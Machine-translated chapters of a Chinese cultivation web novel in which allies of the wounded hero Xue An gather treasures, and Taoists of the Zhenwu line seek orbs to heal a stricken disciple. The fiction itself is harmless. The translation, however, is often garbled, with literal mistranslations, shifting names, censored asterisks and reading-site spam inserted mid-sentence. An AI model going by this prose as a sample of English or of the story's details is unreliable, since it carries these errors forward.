    We must know that just as the Hundred Family Conference is about to be held, the families have tightened a string. At this moment, such a thing suddenly happened, which naturally caused countless waves.


    military commander.


    The military strategist at this moment is very different from before.


    The twelve branches that used to work independently have long been unified, and they have quickly become stronger under the leadership of Yue Shifang, who has recovered from his cultivation.


    And because of this, one of the hundred companies with a long history, but rapidly declining for various reasons, has finally regained its vitality.


    And at this moment, it was in the former headquarters of the Yue Family, and at the same time the headquarters of the current military strategist.


    Yue Shi looked at the news that he had just received, and sighed a long time later.


    "I really didn''t expect that he would have done such a shocking thing just after leaving for a few days."


    The second **** the side said with some doubts: "But is this news true? That is the sword repair of the Shen family, and there are still two! How can it be possible to win with his strength?"


    Yue Shifang chuckled, "You still don''t understand this Xue An, if you say that other people, I would not believe it, but it is him, I absolutely believe that he can do it!"


    "Oh? You have so much confidence in him?"


    "It''s not confidence, but you don''t understand what kind of power is hidden under the calm surface of this young man!"


    Speaking of this, Yue Shifang stood up and walked to the railing of the Flower Hall.


    At this moment, the flowers in this small flower hall are like brocades, and the spring breeze is drunk.


    Yue Shifang said indifferently: "Just because he can be an immortal but can hide from the sky and heal my injuries, you can see that he is definitely not an ordinary person!"


    The second girl nodded, and at the same time there was a look of worry on her face, "It can be seen from the news that he seems to have suffered extremely serious injuries after defeating this Shen Hongyi. He has been in retreat and fell asleep. Is it really okay? ?"


    "Don''t worry, this guy doesn''t look at sometimes doing things recklessly. In fact, he knows better than anyone else. He will never let himself fall into an inevitable danger!"


    "But what I am worried about is whether the Shen family will attack Xue An again because of this? After all, he no longer has any resistance!"


    "You don''t have to worry about this. The Shen family is also one of the ancient giants, and at the same time the sword repair family with the heaviest feathers, plus this time Xue An has defeated them on the frontal battlefield upright, so they are They won''t take advantage of the danger to attack Xue An, they still have to ask for this face!" Yue Shifang said lightly.


    "Then shall we use the past to take a look?"


    Yue Shifang shook his head, "No, I believe he will be able to wake up within three years!"


    "Why is it three years?"


    "Because I discussed with him when I was leaving, and after three years, I will participate in the Hundred Schools Conference together, and he also agreed to me, so he will definitely not break his promise!"


    Hearing what Yue Shifang said, the second girl hesitated to speak, and finally sighed softly: "I hope!"


    At this moment, Yue Shifang turned his head to look at her, "has there been any movement on Qinghuan''s side recently?"


    The second girl shook her head, "It''s business as usual, I specially sent a few people to wait outside her retreat thatched cottage, and will notify me as soon as there is a change!"


    Yue Shifang sighed at this time, "I''m just this little sister. I didn''t want her to go to death to practice. What a pity! Her temper is too stubborn, even I can''t persuade her!"


    Looking at Yue Shifang with a helpless look, the second girl chuckled, then walked forward and lightly embraced one of his arms.


    "What is the reason for her retreat, don''t you who are the brothers know the most?"


    "It''s Xue An again!" Yue Shifang rubbed his temples with a headache.


    "I''m also wondering. Qing Huan is always arrogant. No matter how good a young talent is, she can''t get her eyes. Why do you value Xue An so much? He doesn''t even care about the fact that he has a family child. Is it?" Yue Shifang said with a gloomy expression.


    "You! I still don''t understand our women''s minds!"


    Yue Shifang smiled bitterly, "Don''t say it''s me, it is estimated that no one in the whole world can really understand your women! But I still don''t understand what Qing Huan is after Xue An, that can make her so obsessed!"


    The second girl pursed her mouth and explained softly: "Sometimes the feelings are not as simple as you think. Maybe a look and a movement will make a woman imprint for life, and she will never forget it again!"


    Seeing the two girls with a gentle look and bright eyes, Yue Shifang''s eyes couldn''t help flashing a smirk.


    "What about me? Why do you remember me forever?"


    "Bah!" The second girl sipped his cheeks slightly red, UU read the book and released Yue Shifang''s arm, "Who said I remembered you for life?"


    "Hey, don''t you know if there is any?" Yue Shifang smiled.


    The second girl snorted and stopped explaining, but the tenderness between her brows and eyes still betrayed her.


    There are not many truths in the world, and a woman''s blush can be better than a long dialogue.


    But just when Yue Shifang and the second girl were spreading dog food here, there was a splendid and magnificent city deep in the distant starry sky.


    This city is adjacent to a void and black domain, which is exactly where the boundary of the entire sky lies.


    This is the first bridgehead after Xue An enters the sky, Baozhu City!


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2426 Message is sent), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2427： Reactions from all sides

    "Invincible, start from Xianzun Dad ( to find the latest chapter!


    now.


    In the city lord''s mansion of this treasure city, Lu Yangyan''s complexion was very solemn.


    Because he had just learned about Xue An from the precious pearl dealer who was doing business.


    In fact, he has been following Xue An��s latest developments in this way since this time.


    It has to be said that the special orb of the Black Territory is still a great temptation for the powerhouses of the sky, and this has also given birth to many orb dealers who make a living on it.


    These people have worked so hard for their own benefit, and their footprints are all over the sky, so the news is naturally very well-informed.


    Coupled with Lu Yangyan''s deliberate collection, even though he lives in a corner, he can still detect Xue An''s dynamics in this way.


    At the beginning, all he heard was good news, especially when he heard that Xue An actually did a lot of work among the soldiers, Lu Yangyan couldn''t help being overjoyed.


    Because Lu Yangyan remembered this great benefactor who rescued himself and his sister from the Zuisheng Building and appointed himself as the city lord of the Orb City, so that he had enough Orbs to suppress the violent bloodline in his sister''s body.


    He is a person who knows his gratitude. He naturally knows that Xue An has let himself be the lord of the Pearl City here. He must have other ideas besides helping himself. Therefore, he has been working hard to manage the Pearl City during this period, making the entire city better than before. The bustling has more than doubled.


    In addition, he just waited quietly, hoping to help Xue An as soon as possible.


    Unexpectedly, just the day before yesterday, a caravan from the Pharmacist Alliance came here to purchase a message.


    The benefactor actually clashed with the people of the Shen family, and even fought two battles in a row. Although the final result ended in Xue An''s victory, he was also seriously injured as a result.


    According to these caravans, it is estimated that it is difficult to wake up.


    Hearing this, Lu Yangyan seemed to be struck by lightning, and then burned all within. He really wished to rush to the Pharmacist Alliance now to help Xue An.


    But he also knows that his strength is low, and even if he goes there, he can''t help much.


    After all, the enemy Xue An faced this time was the dignified Shen family.


    Even in this corner of the Pearl City, Lu Yangyan knew the horror of the Shen family.


    It is not an exaggeration even to call it the number one family in the entire Heavenly Swordsmanship.


    Such an existence, if you go, is also going to die.


    If I don''t go, I really can''t worry about it.


    Therefore, today''s Lu Yangyan can be described as having trouble sleeping and eating.


    At this moment, Lu Yangyan''s younger sister Lu Xiaoya stepped in.


    At this time, the girl was no longer as haggard as she was when she was in Zuishenglou.


    After this period of recuperation and the suppression of a sufficient amount of orbs, her condition has never been better than before, and her cheeks have been flushed like never before.


    But at this moment, Lu Xiaoya''s delicate face was full of anxiety.


    "Brother, did you hear the news?"


    Lu Yangyan stopped, forced a smile on his face, "What news?"


    "Naturally it''s the news about Benevolence. I heard that he was seriously injured and will soon be alive soon. What can I do?"


    Speaking of the end, Lu Xiaoya''s voice has already brought a hint of crying.


    In fact, for Xue An, Lu Xiaoya''s gratitude in her heart is no less than that of her brother Lu Yangyan, or even worse.


    Because it was Xue An who rescued her from the devil''s cave and gave her a second life.


    So when she heard the rumors in the world, she rushed over immediately.


    Hearing what his sister said, Lu Yangyan couldn''t help but sighed, "I knew it yesterday!"


    "Ah? What should we do then? Are we just sitting here and watching? Those are people who are great to us!" Lu Xiaoya said anxiously.


    Lu Yangyan shook his head firmly, "Of course I can''t just sit back and watch. Actually, I have already figured it out. You will be in charge of this treasure city for the time being. I will go to the Pharmacist Alliance to help my benefactor!"


    "No, I want to go too!" Lu Xiaoya immediately objected.


    "Why are you going to a girl''s house?"


    "I''ll go, if I had died a long time ago without my benefactor, how can I care about the difficulties of my benefactor this time?" Lu Xiaoya said stubbornly.


    Lu Yangyan knows her sister''s temper very well, knowing that if she is guilty of twisting, no one can persuade her, so she can''t help but frown.


    "But if even you are gone, what about this gem city?"


    Lu Xiaoya was also a little embarrassed.


    At this moment, I just heard a strong voice from the courtyard, "You are free to go, give me the Pearl City during this time!"


    Following the voice, a vigorous middle-aged man walked in.


    When they saw him, the two brothers and sisters all looked happy, and quickly stood up to salute.


    "I have seen Master Turtle King!"


    The one who came was the Shadow Turtle King who ruled the Void Black Realm.


    Thanks to Xue An''s help, now the Shadow Turtle Emperor''s strength has improved again.


    Especially with the help of Lu Yangyan, the income of the entire Shadow Turtle Clan has more than doubled than before.


    This can''t help but make the Shadow Turtle Emperor full of gratitude to Xue An.


    So when he heard the news, he rushed over immediately, and he happened to hear the conversation between the brother and sister in the house, so he spoke out to dispel their worries.


    The Shadow Turtle King nodded, "You don''t need to be polite, I also came here for Mr. Xue''s business. I have heard what you said before. Mr. Xue was right, and your brothers and sisters are all people who know what to do! "


    The two waved their hands again and again, and Lu Yangyan said in embarrassment, "Master Turtle Sovereign praised it!"


    "It''s not absurd, it''s just like this, but the emperor is a foreign race, and it would be inconvenient to go deep into the sky, otherwise I will definitely go to the Medicine Master Alliance to help Mr. Xue!"


    Speaking of this, the Shadow Turtle King looked solemn.


    "It''s no better for you brother and sister to go there. You must know that this matter is not a trivial matter. It is about Mr. Xue''s life. Don''t delay any longer, you two brothers and sisters immediately get up and go to the Pharmacist Alliance and do your best!"


    "As for this gem city, naturally I will take care of it, so don''t worry!"


    Upon hearing this, the brother and sister both showed joy.


    "If that''s the case, then there is Master Laoguihuang!"


    "What''s the point of this matter? UU reads the book before going over, take this thing with you!"


    With that, the Shadow Turtle King took out a delicate tortoise shell.


    "This is..." Lu Yangyan hesitated.


    "This is the container for my shadow turtle clan to store orbs, and it contains the top orbs accumulated during this period of time!"


    Sure enough, when the tortoise shell seal was opened, a piece of jewels appeared inside, all of which were the top treasures.


    "These things are superb spiritual things, and medicine can also be used to heal injuries. You may be helpful to Mr. Xue if you bring them on!" Shadow Turtle King said solemnly.


    Lu Yangyan had a solemn expression on his face, "Master Turtle is interested, if that''s the case, then we will leave immediately!"


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2427 Reactions from all parties), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2428： Gratitude

    "Invincible, start from Xianzun Dad ( to find the latest chapter!


    Without further ado, the siblings got up and headed to the Pharmacist Alliance after a brief cleaning.


    It was not just a day on the road. On this day, the two of them were rushing on their way, and suddenly a fleet was blocking their way.


    Although there are tens of thousands of roads in the void, in order to be able to reach the Pharmacist Alliance as soon as possible, the Lu Yangyan brothers and sisters chose the road with the shortest straight line distance, but they did not expect to encounter the fleet blockade.


    In desperation, the two had no choice but to stop their bodies and took various precautions at the same time.


    Although the possibility is very small, but God knows if the other party is an interstellar pirate running through the void.


    In case, it would be troublesome, after all, he was carrying an astonishing number of top orbs.


    Just as the Lu Yangyan brothers and sisters were struggling, they looked at the fleet with a guard.


    Seeing the hatch of the lead ship slowly opened, and then a person walked out quickly, shouting to Lu Yangyan with excitement: "Brother Lu! You are finally here, I have been waiting for a long time! "


    Seeing this person, Lu Yangyan couldn''t help being stunned.


    Because the speaker was the one who was also saved by Xue An in the Zuisheng Building before, ordained the philosopher.


    I saw him come forward with great excitement and grabbed Lu Yangyan''s hand.


    "I was waiting here ten days ago, and I finally waited for you today!"


    "You are..." Lu Yangyan looked at the fleet behind him, quite puzzled.


    Zhu Zhesheng smiled freely, "I specially arranged this here. After all, if I am the only one waiting here, the goal is too small. If it can''t attract your attention, it will be troublesome if you miss it!"


    Lu Yangyan was still confused, "Brother Zhu, what is going on? Why am I so confused?"


    Zhu Zhesheng sighed softly, "It''s true that I don''t conceal each other, I already know about kindness!"


    It turned out that just half a month ago, Zhu Zhesheng sold the spirit stones produced in the Zhujia mining area to the caravan passing by according to the usual practice, and then he learned an amazing news from them.


    Something happened to Xue An!


    Hearing this, Zhu Zhesheng really seemed like five thunders.


    Because the favor he received from Xue An was no less than that of Lu Yangyan''s brothers and sisters, or even worse.


    After all, if it weren''t for Xue An, he would have died in Zuisheng Building under the frame of Zhai''s design, how could he take over his own business again?


    So as soon as he heard this news, Zhu Zhesheng was very anxious. He really wanted to give birth to his wings and immediately rushed to the Pharmacist Alliance to see how the situation was.


    But he also knew very well that he could not act rashly, because the Zhujia mining area was very important. If he was not suppressed here, it would be easy to cause trouble.


    Before he left, Xue An explained clearly that he would have a great use for him in the future if he allowed himself to run this mining area well!


    What''s more, Zhu Zhesheng is very self-aware, and based on his own three-legged cat cultivation base, it really won''t help to go to the Pharmacist Alliance.


    Therefore, no matter how anxious he is, he can only suppress his temper and think hard about countermeasures.


    Then he thought of brother and sister Lu Yangyan.


    He knew that Lu Yangyan was now the lord of Baozhu City with the help of Xue An.


    This person should have already known the news, and it is estimated that he will have to go to the Pharmacist Alliance.


    So he had an idea, and immediately took out the star map, found the nearest road between Orb City and the Alliance of Pharmacists, and personally piloted the fleet to wait there.


    Sure enough, I was waiting for the two brothers and sisters of Lu Yangyan today.


    After listening to Zhu Zhesheng''s narration, Lu Yangyan couldn''t help but stand in awe.


    After all, he could have pretended not to know about this matter, and no one would blame him, but he took the pains to come here and wait, which shows that he is also a gracious person.


    "En Gong did not misread Brother Zhu, but I don''t know what you are waiting for here?" Lu Yangyan asked.


    Zhu Zhesheng''s expression was serious, "Benevolence is in a catastrophe, and Zhu Hate can''t take his place. It''s a pity that his cultivation is shallow and he can''t do anything. Only this should be helpful to Benevolence. I hope Brother Lu can take it with him!"


    With that said, Zhu Zhe cherished and took out a piece of jade pendant from his arms.


    "This is a jade pendant specially used to store treasures. It is now filled with the high-quality spirit stones accumulated in the Zhujia mining area over the years. It should be helpful to En Gong!"


    really.


    When Lu Yangyan took the jade pendant, Shen Nianfu was shocked by the scene inside as soon as he entered.


    In that space of hundreds of square meters, there are already filled with shining spiritual stones.


    Not to mention anything else, these spirit stones alone are enough to be called a huge wealth.


    Lu Yangyan''s complexion also became very solemn, she withdrew from the jade pendant, nodded and said: "I wish my brother a heartfelt heart is very heartwarming, you can rest assured, I will personally give this thing to my benefactor!"


    Zhu Zhesheng shook his head, "No, my benefactor is currently in a serious injury retreat. I hope you can use this spirit stone to buy the elixir that can help my benefactor recover from the pharmacist alliance as soon as possible. This is the right way!"


    "Okay! I will do my best!"


    "It''s not too late, I won''t retain the two of you. I hope you will have a smooth journey and arrive at the Pharmacist Alliance as soon as possible."


    "OK, bye!"


    "Goodbye!"


    The two sides hurriedly said goodbye, Zhu Zhesheng drove the fleet back to the mining area, and the Lu Yangyan brothers and sisters embarked on the journey again.


    Finally, after a few more days of arduous trek, the two of them came to the Alliance of Pharmacists.


    The Pharmacist Alliance at this moment is extremely lively.


    Because the rally had already been held, guests from all directions almost squeezed the huge star field.


    Various stalls have even been placed in the void.


    Such excitement also made Lu Xiaoya look straight.


    You must know that she has been weak and sick since she was a child. She has been running around with her elder brother, and her life has been turbulent. She has not settled down until she arrives in Baozhu City. She has never seen such a lively scene.


    So at this moment, her two eyes are simply not enough, and she feels fresh when she sees everything.


    Seeing this scene, Lu Yangyan also sighed lightly.


    He didn''t know why his sister was so curious. U U Reading www.uukANAnsshu.com


    This also made him feel a sense of guilt.


    Therefore, he whispered: "Xiaoya, let''s go to my benefactor first, and when everything is done, I will come and show you around the excitement!"


    Lu Xiaoya retracted her gaze and smiled apologetically, "Brother, I''m just looking at it curiously. This time we are still going to focus on Ben Gong''s injury. As for whether it is lively or not, it doesn''t matter!"


    Even so, the hope in her eyes betrayed her.


    Lu Yangyan didn''t say anything, and directly led her to the direction of Sijia planet.


    This time the speed was very fast, but with a half-sun view, they came to the area where Sijia planet was located.


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2428 Zhien Pictorial), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2429： All thoughts

    "Invincible, start from Xianzun Dad ( to find the latest chapter!


    It''s even more lively here.


    You must know that Si''s family was one of the top ten families of the Pharmacist Alliance. How could the planet where the headquarters reside is so simple, not only the location is important, but it is also adjacent to several prosperous trading planets.


    Although the planet Sijia no longer exists now, it has become very bustling and lively because of the gathering.


    However, in this prosperous scene, there is a blank space with a radius of 100,000 miles.


    If you leaned over and looked at it, it was as if a piece of it had been dug out in a lively scene, very eye-catching.


    This is the restricted zone set by the Nine Heavens Profound Girl.


    Both the past merchants and the vendors who set up stalls have a tacit understanding of being far away from this restricted area.


    Not to mention the prestige of Empress Xuantian in this Pharmacist Alliance, the crowd defending around the restricted area is enough to deter all curious eyes and make irrelevant people stay away from here.


    In this situation, Lu Yangyan brought his sister Lu Xiaoya straight to the front of the defensive front.


    "Who?" someone shouted loudly.


    Lu Yangyan stopped and said, "I am Mr. Xue''s old friend. I heard that Mr. Xue was seriously injured, so I''m here to help!"


    "Oh? Old friend?"


    The people staying here were all under the Jiutian Profound Girl, and they couldn''t help but stare at each other.


    "Wait a moment, I''ll report it first!"


    Someone went in and reported the situation to the Nine Heavens Profound Girl.


    The Nine Sky Profound Girl was also taken aback when she heard this.


    "Old man? I''ll go take a look!"


    With that said, before she got up and came to the front, she saw Lu Yangyan standing in the void at a glance, and she was taken aback.


    Because she could see the breath of Zhenwu from Lu Yangyan''s body at a glance.


    "A descendant of the Taoist Zhenwu line?" Nine Sky Profound Girl said solemnly.


    Lu Yangyan saw a majestic woman coming out, knowing that this should be the rumored Nine Heavens Profound Girl who founded the Pharmacist Alliance, so he hurriedly bowed down to salute.


    "Yes, it is the descendant of Taoist Zhenwu lineage, named Lu Yangyan, this is my sister Lu Xiaoya!"


    With that, Lu Yangyan raised his head and recounted how he met Xue An.


    After listening, Jiu Tian Xuannv nodded.


    She can be sure that this person is not lying, not to mention that the Taoist Zhenwu line is considered a famous teacher, and she will not deceive herself under such a pretense.


    "So that''s the case, then please come in!"


    Lu Yangyan looked happy, and immediately led his sister into the defensive front.


    "My Empress, but I don''t know how Mr. Xue is now? Is there any sign of waking up?"


    Jiutian Xuannv shook her head, "It''s still the way it was before, without any change. Since you are his old friend, then I will take you to see him!"


    With that said, Jiu Tian Xuan Nu led the Lu Yangyan brother and sister to the center of this forbidden area.


    In the distance is a bright brilliance, and all kinds of illusions appear, blocking anyone''s advancement.


    The Nine Heavens Profound Girl stopped and said in a calm tone: "Xue An is wrapped by Guanghua!"


    Brother and sister Lu Yangyan immediately looked at the center of Guanghua. Although the light was dazzling, one of them could still be seen sitting cross-legged.


    The two of them trembled together.


    "Mr. Xue!" Lu Yangyan whispered softly, only feeling sore in his nose.


    Lu Xiaoya''s tears came out even more.


    Although they knew that this would be the case when they came, they still had mixed feelings after seeing it.


    At this moment, Cha Wenliang came here with Ao Shu and Xiao Hulu.


    "This is..." Cha Wenliang asked.


    The Nine Heavens Profound Girl whispered: "The descendants of the Zhenwu line of Taoism came to see Xue An!"


    Cha Wenliang gave a long oh, and then took a deep look at the two brothers and sisters.


    As an old man with a long experience, he naturally knows the weight of the Taoist Zhenwu line.


    But this is the situation now, no matter how good you are, you can only watch.


    But at this moment, the little gourd who was following them suddenly lit up, and the originally innocent little face showed a touch of excitement, and then quickly came to Lu Xiaoya, tilted her head and looked at it. she was.


    Only then did Lu Xiaoya notice that there was a little girl like a jade carving in front of her, and she was also taken aback.


    Of course she knows that Xue An has a daughter, isn''t she twins?


    Why is it just one?


    When she was wondering, Xiao Hulu raised his hand and pointed at the bun on her head.


    "You want this?" Seeing the color of desire in Xiao Hulu''s eyes, Lu Xiaoya took off a hairpin from her hair bun, and then asked with a smile.


    Little Gourd nodded, opened his mouth slightly, and drooled when he looked at the bright orb on the hairpin.


    Lu Xiaoya smiled and handed it over.


    You must know that as a girl, she has no resistance to all cute things. It just so happens that Xiao Hulu is a very cute girl, so she also likes it.


    After Xiao Hulu took the hairpin, without hesitation, he opened his big mouth and swallowed the orb inlaid on the hairpin.


    "Oh, how can you eat..." Lu Xiaoya was startled.


    But before the words were over, the little gourd chewed up and chewed, and at the same time enjoyed it, as if it was not a cold orb, but a piece of candy.


    In the blink of an eye, she chewed the orb thoroughly and swallowed it.


    Then he looked at Lu Xiaoya eagerly again.


    Lu Xiaoya was dumbfounded.


    She never expected that this little girl who looked soft and tender like a porcelain doll would be so vigorous.


    And doesn''t that orb contain the powerful black domain power?


    How come her mouth is like jelly beans?


    These question marks made her a little confused.


    Seeing this, Cha Wenliang shook his head helplessly, then coughed lightly, and walked forward.


    "Gourd, don''t be so rude, someone is also a guest anyway, what should I do if I am scared?"


    Hearing this, Xiao Hulu reluctantly put down her hand, but the desire in her eyes clearly told everyone that she liked the smell of the bead very much.


    When the Nine Heavens Profound Girl saw this, her eyes lit up slightly, but she didn''t say anything.


    At this time, Zha Wenliang smiled and said to the Lu brothers and sisters: "The descendants of Zhenwu have not appeared in the sky for a long time. Where did the UU reading come from? Is it Funiu Mountain?"


    Funiu Mountain is the gate of the Zhenwu line of Taoism, and it is also the resident.


    Upon hearing this, Lu Xiaoya''s face looked sad, "We are not..."


    At this moment, Lu Yangyan suddenly took the lead and said: "Yes, we came from Funiu Mountain, especially to take a look at Mr. Xue''s injury!"


    Cha Wenliang nodded, "The two of you can be considered deliberate, but Xue An''s retreat obviously cannot be over in a moment, so why not let us go to that camp and wait!"


    Lu Xiaoya just wanted to say yes.


    Lu Yangyan stepped forward and said softly, "It''s not necessary anymore!"


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2429), you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2430： Funiu Mountain Great Sacrifice Wine

    "Invincible, start from Xianzun Dad ( to find the latest chapter!


    Seeing the departure of Lu Yangyan and his sister, Cha Wenliang chuckled lightly.


    "It seems that these brothers and sisters are quite defensive against us!"


    The Nine Heavens Profound Girl also nodded, "This is also human nature. After all, he is not familiar with us. It is not surprising that he came here only because of his relationship with Xue An."


    Speaking of this, the Nine Heavens Profound Girl paused, and then said with some doubts.


    "But I see that the girl''s eyes are chaotic and unclear, and there is a dark and unclear aura entangled in the sea of ??knowledge. She is obviously suffering from a serious illness. It is reasonable to say that such a symptom has long occurred. Why is it like an ordinary person? "


    Cha Wenliang also nodded, "Yes, I am also a little surprised, maybe there is something we don''t know about to suppress it!"


    In fact, Cha Wenliang saw that Lu Xiaoya was seriously ill at the first glance, and he couldn''t help but feel a little puzzled.


    But the first time he met, he was not easy to ask, so he didn''t say anything.


    Unexpectedly, the Nine Heavens Profound Girl would have seen it a long time ago.


    At this moment, the little gourd on the side suddenly said: "The beads I just ate, there are still a lot of them on them!"


    "Ok?"


    As soon as this remark came out, everyone looked at him.


    Cha Wenliang turned to look at Xiao Hulu.


    "How did you tell?"


    The little gourd pointed to his nose, and saliva appeared at the corner of his mouth, "For these delicious things, I can smell them even if they are far away!"


    Cha Wenliang and Jiu Tian Xuan Nu were shocked, and then looked at each other.


    If things are like what Xiao Hulu said, then no wonder the two brothers and sisters are so cautious.


    After all, an astonishing number of orbs, no matter where they go, can be regarded as an extremely considerable wealth.


    "I also know from the line of Taoist Zhenwu. Their strength is not so strong. It stands to reason that disciples who descended from the sect cannot have such an amazing wealth!" Cha Wenliang murmured.


    "I don''t think they came from Funiu Mountain, especially the girl who was seriously ill, but didn''t have the slightest aura of true martial arts. If they really came from Funiu Mountain, would the true martial line of them leave it alone?" Analysis Road.


    Cha Wenliang looked down, "Could it be... these two brothers and sisters were born as pirates?"


    But as soon as the words were spoken, he felt a little absurd.


    Since it is Xue An''s deceased, how can he be an interstellar pirate?


    What''s more, it can be seen from this incident that these brothers and sisters are kind people who know what kindness they want to repay. How can they do things like robbery?


    Just now, Lu Yangyan did not reveal his identity as the City Lord of Orb City, so Cha Wenliang and Nine Heavens Profound Girl are naturally uncertain at this moment.


    But because this matter was not the main thing, after a few conversations, the two of them also dispersed.


    But when they left, the little gourd took a sip of water, and then spit out a ball of light from his mouth.


    In the light group, it was the armor Xue An entrusted to her to repair.


    But during this period of time, Nine Heavens Profound Girl and Cha Wenliang collected the entire Pharmacist Alliance''s bazaar, and only found a few alchemy utensils that she could admire, so the restoration was very slow.


    But at this moment, there was a hint of light from the severely damaged armor gap in the light group, and it was faintly repaired.


    Little gourd seemed to have expected this scene a long time ago, hehe smiled, and then swallowed the light ball back again, turning around and disappearing.


    At the same time, after leaving the defensive front, Lu Xiaoya finally couldn''t help but ask in a low voice.


    "Brother? Why didn''t you tell these people the truth just now?"


    Lu Yangyan shook his head, "Xiaoya, you are still too innocent. Although these people are all friends of Mr. Xue, the things we carry are too valuable. As the saying goes, wealth is touching, even these powerful monks. No exception, so we still try to be more cautious!"


    Upon hearing these words, Lu Xiaoya nodded thoughtfully.


    Lu Yangyan smiled, "You don''t have to think so much. Although the benefactor hasn''t woke up yet, his life is obviously safe from the retreat. I take this opportunity to take you to stroll around the excitement!"


    Lu Xiaoya immediately became excited when she heard the words.


    Is there any girl who can refuse the temptation to go shopping.


    "Good brother!"


    Lv Yangyan led his excited sister into the prosperous area of ??the market and began to play.


    At the same moment, in the inn on one of the planets of the Pharmacist Alliance, the atmosphere was very solemn.


    A group of people sat together, all silent.


    But from the breath and dressing of these people, it can be seen that these people all came from the Taoist school.


    In this world, a hundred schools of thought contend, and there are many genres.


    But to say that the most open branches and leaves belong to this Taoist school.


    After all, even the now prestigious Yin-Yang family was split from Taoism at the beginning, and this shows how all-encompassing this Taoist doctrine is.


    In fact, there are many factions in Taoism today, and various schools of doctrines emerge in an endless stream.


    There are pure Taoists who wear ancient witch robes and practice strictly according to the ancient rituals, and there are new schools that are determined to innovate, and some even don''t even wear the robes.


    But these people present today are obviously not out of the framework of Taoism, at least they are all wearing elegantly shaped Taoist uniforms, and at the same time they still have a small doggy bun behind their heads.


    And if there are people who are familiar with all genres of Taoism, you will definitely find that these people are the descendants of the true Wu line of Taoism.


    It''s just that the faces of these people are full of sadness at the moment, making the atmosphere very depressing.


    It wasn''t until a long time later that the old man with a simple face and vicissitudes of life sitting in the middle sighed.


    "Let''s talk about it. What are your opinions and suggestions on this matter?"


    The people present here are all embarrassed when you look at me and I look at you.


    "What?" The old man raised his eyebrows slightly, "Don''t even have an idea? Zhengqing, you say it first!"


    The old man pointed to the middle-aged Taoist priest at the front on his right.


    Lv Zhengqing stood up helplessly, "Master Jijiu, now I am not mad at my wounds I am asleep, and unless a miracle is found, it is impossible to cure him completely!"


    "But after we came to this pharmacist alliance, we successively hired a number of well-known genius doctors, but they were powerless. In these people''s words, evil spirits have penetrated into the soul, even if the saints are relatives, they will be incapable of returning to heaven!"


    Upon hearing this, the Taoist priests present all looked sad.


    Because they knew what Lu Zhengqing said was true.


    The wine was also solemn, and he sighed: "Yes! Who knows that a simple exorcism and demon slaying can attract evil things, but it is a carelessness, and the result is a successful sneak attack. In the end, How can this be good if you are not awake?"


    All the people present bowed their heads and fell silent.


    Because people know the seriousness of the situation.


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 2430 Funiu Mountain Great Festival Wine), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2431： Looking for the orb

    "Invincible, start from Xianzun Dad ( to find the latest chapter!


    Na Lu Fei''s general status is fine, but the key point is that he is the favorite disciple of the master, and at the same time the most outstanding genius in Funiu Mountain for nearly a thousand years, and has been placed high hopes by the entire Zhenwu school.


    There are even rumors that he has to bear the breath of the ancient Zhenwu Great Emperor in order to revive the entire Zhenwu school.


    This also shows the importance of Lu Fei''an to the view of Zhenwu.


    In particular, the Hundreds of Experts Congress will be held soon. It can be said that from top to bottom, people hope that Yu Fei''an can represent Zhenwu''s line to attend this Hundreds of Congresses to win the glory of Funiu Mountain.


    Unexpectedly, when performing an unusual mission some time ago, Lu Fei''an was suddenly attacked by an unidentified evil object and nearly died.


    Although the accompanying wine and Lu Zhengqing and others did their best to rescue him, Lu Fei''an was still unconscious because of serious injuries.


    At this time, Dajijiu and others were really scared.


    If something happened to Lu Fei''an, who could afford this responsibility?


    Who can afford the anger from the subject?


    In desperation, these people suddenly had an idea and thought of the grand meeting being held by the Pharmacist Alliance.


    You know this is an extremely rare event. Many genius doctors who rarely show up will appear. Maybe these people can save Lu Fei''an.


    With this thought in mind, Dajijiu and others came to the Pharmacist Alliance with a seriously injured Lu Fei''s not far away.


    But in the end they were still disappointed.


    Although many sage doctors were invited, almost everyone couldn''t help shaking their heads after seeing Lu Fei''s injury.


    In the words of one of the genius doctors, the evil spirit has entered the body, and there is no possibility of salvation!


    This is the reason why these people are so sad.


    At this moment, another person stood up on the left hand side of the great sacrifice wine.


    This person is tall and extraordinary, but there is a bit of evil spirit in the corners of his eyes and eyebrows, and a vicious color flashes in his eyes.


    It is the great elder Zhang Xing of Funiu Mountain, Lu Xiuming.


    I saw him solemnly said: "The great sacrifice of wine, this matter is actually not completely clueless. The genius doctor who invited the other day did not say that as long as you can find a sufficient amount of high-quality Black Territory Orbs, you will still have it. Hope to wake up!"


    Upon hearing this, all the true martial artists present were shocked.


    Because only a few people know this sentence, and many people have heard it for the first time.


    But after hearing the words of the big festival wine, he couldn''t help but sighed.


    "Xiuming, isn''t what you said is not what I thought? Zhengqing spent a lot of money to buy a gem yesterday, and he has already tried it!"


    "Oh? What was the result?" Lu Xiuming asked immediately after his eyes lit up.


    The others also focused their attention on Lu Zhengqing.


    Lu Zhengqing nodded, "The effect can be said to be very good. There seems to be a burst of energy contained in the Black Territory Orb, which can neutralize the evil spirits in the non-hatred spirit!"


    Hearing this, everyone couldn''t help being overjoyed.


    Lu Xiuming even said: "Then what are you waiting for? Isn''t it enough to buy a sufficient amount of orbs right away?"


    Lu Zhengqing smiled bitterly, "It''s not that easy, not to mention that this Black Territory Orb is originally a rare thing. It rarely appears in markets or auctions. Even if it appears, it is a defective product that has been selected by someone. The high-quality orbs of this kind will not appear on the market!"


